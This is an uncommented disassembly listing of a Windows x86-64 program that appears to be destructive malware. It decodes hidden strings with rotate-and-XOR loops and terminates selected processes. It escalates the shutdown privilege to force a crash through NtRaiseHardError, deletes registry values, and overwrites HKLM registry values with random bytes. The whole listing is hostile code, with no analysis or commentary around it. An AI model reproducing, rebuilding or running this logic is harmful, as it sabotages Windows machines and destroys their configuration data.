movzx edx, byte [rbx]
shl dl, 7
shr cl, 1
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x68
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659770c0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x14b0], 0x130
lea rdx, [rbp + 0x14b0]
mov rcx, rax
call qword [sym.imp.kernel32.dll_Process32First]
nop
lea rcx, [rbp + 0x14dc]
mov rbx, rsi
sub rbx, rcx
nop dword [rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + rbx]
sub edx, eax
jne 0x7ff765977132
inc rcx
test eax, eax
jne 0x7ff765977120
test edx, edx
jne 0x7ff765977149
lea rdx, [rbp + 0x14b8]
lea rcx, [0x7ff765a29c10]
call fcn.7ff76597b450
lea rdx, [rbp + 0x14b0]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
jne 0x7ff765977110
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [0x7ff765a29c10]
call fcn.7ff76597b440
mov rbx, rax
lea rcx, [0x7ff765a29c10]
call fcn.7ff76597b430
mov rdi, rax
cmp rbx, rax
je 0x7ff7659771b4
nop dword [rax]
mov r8d, dword [rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
add rbx, 4
cmp rbx, rdi
jne 0x7ff765977190
lea rdx, [rbp + 0x354]
lea rcx, [rbp - 0x10]
call fcn.7ff765974400
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 4
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 4
shr cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x67
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659771e0
mov qword [rbp + 0x380], r10
xor r8d, r8d
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x3b0]
call fcn.7ff76597dd70
nop
lea rcx, [rbp + 0x3b0]
call fcn.7ff765973ba0
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 7
jbe 0x7ff765977278
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765977273
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597770f
call fcn.7ff7659fad04
xor edi, edi
mov qword [rbp + 0x3c0], rdi
mov qword [rbp + 0x3c8], 7
mov word [rbp + 0x3b0], di
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0xf]
call fcn.7ff765974470
mov r10, rax
mov rbx, rax
mov r8, rax
lea r9d, [rdi + 4]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 6
shr cl, 2
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x62
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659772b0
mov qword [rbp + 0x338], r10
xor r8d, r8d
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x2f8]
call fcn.7ff76597dd70
nop
lea rcx, [rbp + 0x2f8]
cmp qword [rbp + 0x310], 7
cmova rcx, qword [rbp + 0x2f8]
call fcn.7ff7659fa120
shr rax, 0x20
test eax, eax
jne 0x7ff76597aeae
mov rdx, qword [rbp + 0x310]
cmp rdx, 7
jbe 0x7ff765977363
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597735e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597770f
call fcn.7ff7659fad04
mov qword [rbp + 0x308], rdi
mov qword [rbp + 0x310], 7
mov word [rbp + 0x2f8], di
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x13a0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp - 0xe]
call fcn.7ff765974180
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9, r15
nop dword [rax]
movzx edx, byte [rbx]
shr dl, 3
movzx ecx, byte [rbx]
shl cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x6e
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659773b0
mov rdx, r10
lea rcx, [rbp + 0x13a0]
call fcn.7ff76597b480
nop
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp - 0xd]
call fcn.7ff765974200
mov r9, rax
mov rbx, rax
mov r8, rax
movzx edx, byte [rbx]
shr dl, 4
movzx ecx, byte [rbx]
shl cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x6d
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r14, 1
jne 0x7ff765977400
mov rdx, r9
lea rcx, [rbp + 0x13a0]
call fcn.7ff76597dba0
lea rcx, [rbp + 0x13a8]
call fcn.7ff76597cd30
test rax, rax
jne 0x7ff76597746a
mov rax, qword [rbp + 0x13a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x13a0]
add rcx, rax
xor r8d, r8d
lea edx, [r14 + 2]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x13a0]
call fcn.7ff7659742c0
mov byte [rbp + 0xdac], 0
xor r14d, r14d
mov dword [rbp + 0xe24], r14d
lea r9, [rbp + 0xdac]
xor r8d, r8d
mov dl, 1
lea ecx, [r14 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0xe24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000032
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rbx, qword [rbp + 0xdf8]
lea edi, [r14 + 0xf]
jmp 0x7ff76597779a
lea rdx, [rbp + 0x128]
lea rcx, [rbp - 0xc]
call fcn.7ff765974db0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 4
shr cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x61
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977500
mov rdx, r10
lea rcx, [rbp + 0xde0]
call fcn.7ff76597daa0
test al, al
je 0x7ff765977745
lea rdx, [rbp + 0x970]
lea rcx, [rbp - 0xb]
call fcn.7ff765974380
mov rsi, rax
mov rbx, rax
mov r8, rax
mov r9, r12
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 1
movzx ecx, byte [rbx]
shl cl, 7
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x68
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977560
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x15e0], 0x130
lea rdx, [rbp + 0x15e0]
mov rcx, rax
call qword [sym.imp.kernel32.dll_Process32First]
nop
lea rcx, [rbp + 0x160c]
mov rbx, rsi
sub rbx, rcx
nop dword [rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + rbx]
sub edx, eax
jne 0x7ff7659775d2
inc rcx
test eax, eax
jne 0x7ff7659775c0
test edx, edx
jne 0x7ff7659775e9
lea rdx, [rbp + 0x15e8]
lea rcx, [0x7ff765a29c10]
call fcn.7ff76597b450
lea rdx, [rbp + 0x15e0]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
jne 0x7ff7659775b0
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [0x7ff765a29c10]
call fcn.7ff76597b440
mov rbx, rax
lea rcx, [0x7ff765a29c10]
call fcn.7ff76597b430
mov rdi, rax
cmp rbx, rax
je 0x7ff765977654
nop dword [rax]
mov r8d, dword [rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
add rbx, 4
cmp rbx, rdi
jne 0x7ff765977630
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 5]
call fcn.7ff765974400
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 4
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 4
movzx ecx, byte [rbx]
shl cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x67
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977680
mov qword [rbp + 0x378], r10
xor r8d, r8d
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x3d0]
call fcn.7ff76597dd70
nop
lea rcx, [rbp + 0x3d0]
call fcn.7ff765973ba0
nop
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 7
jbe 0x7ff76597771b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765977716
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765977716
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
xor r14d, r14d
mov qword [rbp + 0x3e0], r14
mov qword [rbp + 0x3e8], 7
mov word [rbp + 0x3d0], r14w
mov rbx, qword [rbp + 0xdf8]
lea edi, [r14 + 0xf]
jmp 0x7ff76597779a
lea rdx, [rbp + 0xdb8]
cmp qword [rbp + 0xdd0], 0xf
cmova rdx, qword [rbp + 0xdb8]
lea rcx, [rbp + 0xde0]
mov rbx, qword [rbp + 0xdf8]
cmp rbx, 0xf
cmova rcx, qword [rbp + 0xde0]
mov r8, qword [rbp + 0xdf0]
cmp r8, qword [rbp + 0xdc8]
jne 0x7ff76597ae11
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x7ff76597ae11
xor r14d, r14d
cmp rbx, 0xf
jbe 0x7ff7659777d8
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0xde0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7659777d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7659777d3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0xdf0], r14
mov qword [rbp + 0xdf8], rdi
mov byte [rbp + 0xde0], 0
lea rcx, [rbp + 0x1710]
call fcn.7ff765974ea0
nop
lea rcx, [rbp + 0x1180]
call fcn.7ff7659740b0
nop
mov rdx, qword [rbp + 0xe68]
cmp rdx, 0xf
jbe 0x7ff76597784b
inc rdx
mov rcx, qword [rbp + 0xe50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765977846
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765977846
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0xe68], rdi
mov byte [rbp + 0xe50], 0
mov rdx, qword [rbp + 0xdd0]
cmp rdx, 0xf
jbe 0x7ff7659778a4
inc rdx
mov rcx, qword [rbp + 0xdb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597789f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597789f
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0xdc8], r14
mov qword [rbp + 0xdd0], rdi
mov byte [rbp + 0xdb8], 0
mov rdx, qword [rbp + 0xe18]
cmp rdx, 0xf
jbe 0x7ff7659778fa
inc rdx
mov rcx, qword [rbp + 0xe00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7659778f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7659785d8
call fcn.7ff7659fad04
mov qword [rbp + 0xe10], r14
mov qword [rbp + 0xe18], rdi
mov byte [rbp + 0xe00], 0
mov rcx, qword gs:[0x1b2]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff76597793f
movzx eax, byte [rbp + 0x133727a2]
mov byte [rbp + 0xda6], al
lea rcx, [rbp + 0xda6]
call fcn.7ff7659717a0
movsd xmm0, qword [0x7ff765a1abc8]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x7ff765a1abd0]
mov dword [rbp + 0x148], eax
movzx eax, byte [0x7ff765a1abd4]
mov byte [rbp + 0x14c], al
lea rdx, [rbp + 0x140]
lea rbx, [rbp + 0x140]
nop word [rax + rax]
movzx eax, byte [rdx]
movzx ecx, byte [rdx]
shl cl, 6
shr al, 2
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x79
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r15, 1
jne 0x7ff765977980
lea rcx, [rbp + 0x140]
call fcn.7ff7659717a0
mov rsi, qword gs:[0x30]
mov rbx, qword gs:[0x30]
mov rdi, qword gs:[0x30]
lea ecx, [r15 + 1]
call qword [sym.imp.ucrtbase.dll_malloc]
add rax, 0x19d9c
mov rbx, qword [rbx + 0x48]
add rbx, rdi
xor rbx, qword [rsi + 0x40]
xor rbx, rax
mov ecx, ebx
call qword [sym.imp.ucrtbase.dll_srand]
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 0x800fffff
jge 0x7ff765977a08
dec eax
or eax, 0xfff00000
inc eax
cdqe
add rbx, rax
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 0x800fffff
jge 0x7ff765977a23
dec eax
or eax, 0xfff00000
inc eax
cdqe
xor rbx, rax
call qword [sym.imp.ucrtbase.dll_rand]
add eax, eax
movsxd rcx, eax
sub rbx, rcx
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 0x800fffff
jge 0x7ff765977a4c
dec eax
or eax, 0xfff00000
inc eax
movsxd rcx, eax
xor edx, edx
mov rax, rbx
div rcx
mov rbx, rax
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 0x8000ffff
jge 0x7ff765977a70
dec eax
or eax, 0xffff0000
inc eax
movsxd rcx, eax
imul rcx, rbx
call qword [sym.imp.ucrtbase.dll_srand]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp - 0xa]
call fcn.7ff765975850
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x21
nop dword [rax]
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4a
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977aa0
lea rax, [rbp + 0xd88]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
mov esi, 0xb
test eax, eax
jne 0x7ff765977b6a
lea rdx, [rbp + 0x790]
lea rcx, [rbp - 9]
call fcn.7ff7659758d0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, esi
movzx edx, byte [rbx]
shr dl, 5
movzx ecx, byte [rbx]
shl cl, 3
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x49
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977b11
mov qword [rbp + 0xd98], r10
mov dword [rbp + 0xd90], 0x140014
lea rdx, [rbp + 0xd90]
mov rcx, qword [rbp + 0xd88]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov rcx, qword [rbp + 0xd88]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp - 8]
call fcn.7ff765975950
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x30
nop dword [rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 4
shr cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x44
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977b90
lea rax, [rbp + 0xd70]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff765977fff
lea edx, [rax + 0x18]
lea rcx, [rbp + 0xf18]
call fcn.7ff765975dc0
lea rcx, [rbp - 7]
call fcn.7ff76597c4f0
mov rdi, rax
lea rdx, [rbp + 0x660]
lea rcx, [rbp - 6]
call fcn.7ff7659759d0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x43
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977c20
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
mov qword [rbp + 0x550], r14
mov qword [rbp + 0x558], r14
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [r10 + r8], 0
jne 0x7ff765977c70
mov rdx, r10
lea rcx, [rbp + 0x540]
call fcn.7ff76597e990
nop
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 1]
call fcn.7ff765975a50
mov r9, rax
mov rbx, rax
mov r8, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x5e
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r13, 1
jne 0x7ff765977cb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], r13
mov qword [rbp + 0x578], r13
mov r8, r14
inc r8
cmp byte [r9 + r8], r13b
jne 0x7ff765977cf2
mov rdx, r9
lea rcx, [rbp + 0x560]
call fcn.7ff76597e990
nop
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp - 4]
call fcn.7ff765975ad0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0xe
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 5
movzx ecx, byte [rbx]
shl cl, 3
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x5d
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977d30
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], r13
mov r8, r14
inc r8
cmp byte [r10 + r8], 0
jne 0x7ff765977d72
mov rdx, r10
lea rcx, [rbp + 0x580]
call fcn.7ff76597e990
nop
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp - 3]
call fcn.7ff765975b50
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9, rsi
nop dword [rax + rax]
movzx edx, byte [rbx]
shr dl, 5
movzx ecx, byte [rbx]
shl cl, 3
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x6c
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977db0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r13
mov qword [rbp + 0x5b8], r13
mov r8, r14
inc r8
cmp byte [r10 + r8], 0
jne 0x7ff765977df2
mov rdx, r10
lea rcx, [rbp + 0x5a0]
call fcn.7ff76597e990
nop
lea r8, [rbp + 0x5c0]
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x8a0]
call fcn.7ff76597c370
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x620], xmm0
mov r8, rdi
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0xf18]
call fcn.7ff76597c3b0
nop
lea r9, [fcn.7ff76597c850]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp + 0x540]
call fcn.7ff7659fa9ec
lea rcx, [rbp + 0xf18]
call fcn.7ff76597c390
mov rsi, rax
lea rcx, [rbp + 0xf18]
call fcn.7ff76597c380
mov r15, rax
cmp rsi, rax
je 0x7ff765977fdd
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xeb0]
call fcn.7ff76597c9b0
mov ecx, 0x10000
call qword [sym.imp.ucrtbase.dll_malloc]
mov dword [rbp + 0xd54], 0x10000
lea rdx, [rbp + 0xeb0]
cmp qword [rbp + 0xec8], 0xf
cmova rdx, qword [rbp + 0xeb0]
lea rcx, [rbp + 0xd54]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x7ff765977f6c
mov ecx, dword [rbp + 0xd54]
call qword [sym.imp.ucrtbase.dll_malloc]
mov r14, rax
mov edi, r13d
mov ecx, dword [rbp + 0xd54]
test ecx, ecx
je 0x7ff765977f39
mov rbx, rax
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 0x800000ff
jge 0x7ff765977f28
dec eax
or eax, 0xffffff00
inc eax
mov byte [rbx], al
inc edi
inc rbx
mov ecx, dword [rbp + 0xd54]
cmp edi, ecx
jb 0x7ff765977f12
lea rdx, [rbp + 0xeb0]
cmp qword [rbp + 0xec8], 0xf
cmova rdx, qword [rbp + 0xeb0]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rdx, qword [rbp + 0xec8]
cmp rdx, 0xf
jbe 0x7ff765977fa9
inc rdx
mov rcx, qword [rbp + 0xeb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765977fa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff765977fd6
call fcn.7ff7659fad04
xor r14d, r14d
mov qword [rbp + 0xec0], r14
mov qword [rbp + 0xec8], 0xf
mov byte [rbp + 0xeb0], r14b
add rsi, 0x20
cmp rsi, r15
je 0x7ff765977fe0
xor r13d, r13d
jmp 0x7ff765977e90
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
xor r14d, r14d
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.advapi32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0xf18]
call fcn.7ff76597c3a0
mov esi, 0xb
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp - 2]
call fcn.7ff765975bd0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x26
nop
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x6b
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765978020
lea rax, [rbp + 0xd68]
mov qword [rsp + 0x20], rax
mov r9d, esi
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff76597843d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xdd8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.advapi32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x7ff76597843d
mov r15d, r14d
cmp dword [rbp + 0xdd8], eax
jbe 0x7ff765978430
nop dword [rax]
mov dword [rbp + 0xe28], 0x100
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xe28]
lea r8, [rbp + 0x1f10]
mov edx, r15d
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.advapi32.dll_RegEnumKeyExA]
test eax, eax
jne 0x7ff765978420
lea rax, [rbp + 0xd60]
mov qword [rsp + 0x20], rax
mov r9d, esi
xor r8d, r8d
lea rdx, [rbp + 0x1f10]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff765978420
mov dword [rbp + 0xe20], 0x100
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xe20]
lea r8, [rbp + 0x2010]
xor edx, edx
mov rcx, qword [rbp + 0xd60]
call qword [sym.imp.advapi32.dll_RegEnumKeyExA]
test eax, eax
je 0x7ff765978193
mov rcx, qword [rbp + 0xd60]
call qword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x7ff765978420
lea rdx, [rbp + 0x2010]
lea rcx, [rbp + 0xed0]
call fcn.7ff76597c940
nop
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp - 1]
call fcn.7ff765975c60
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x13
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x66
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659781d0
mov rdx, r10
lea rcx, [rbp + 0xed0]
call fcn.7ff76597c6e0
lea rdx, [rbp + 0xed0]
cmp qword [rbp + 0xee8], 0xf
cmova rdx, qword [rbp + 0xed0]
lea rax, [rbp + 0xd78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rcx, qword [rbp + 0xd60]
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x7ff765978262
mov rcx, qword [rbp + 0xd60]
call qword [sym.imp.advapi32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0xed0]
call fcn.7ff76597c850
jmp 0x7ff765978420
mov ecx, 0x10000
call qword [sym.imp.ucrtbase.dll_malloc]
mov rdi, rax
mov dword [rbp + 0xd50], 0x10000
lea rdx, [rbp + 0x438]
lea rcx, [rbp]
call fcn.7ff765975ce0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r13d, 5
mov r9d, r13d
nop dword [rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 6
shr cl, 2
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x65
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659782a0
lea rax, [rbp + 0xd50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, r10
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x7ff7659783ab
mov ecx, dword [rbp + 0xd50]
call qword [sym.imp.ucrtbase.dll_malloc]
mov r14, rax
xor eax, eax
mov edi, eax
mov esi, dword [rbp + 0xd50]
test esi, esi
je 0x7ff76597833a
mov rbx, r14
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 0x800000ff
jge 0x7ff765978329
dec eax
or eax, 0xffffff00
inc eax
mov byte [rbx], al
inc edi
inc rbx
mov esi, dword [rbp + 0xd50]
cmp edi, esi
jb 0x7ff765978313
lea rdx, [rbp + 0x430]
lea rcx, [rsp + 0x60]
call fcn.7ff765975d50
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9, r13
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 5
movzx ecx, byte [rbx]
shl cl, 3
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x60
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
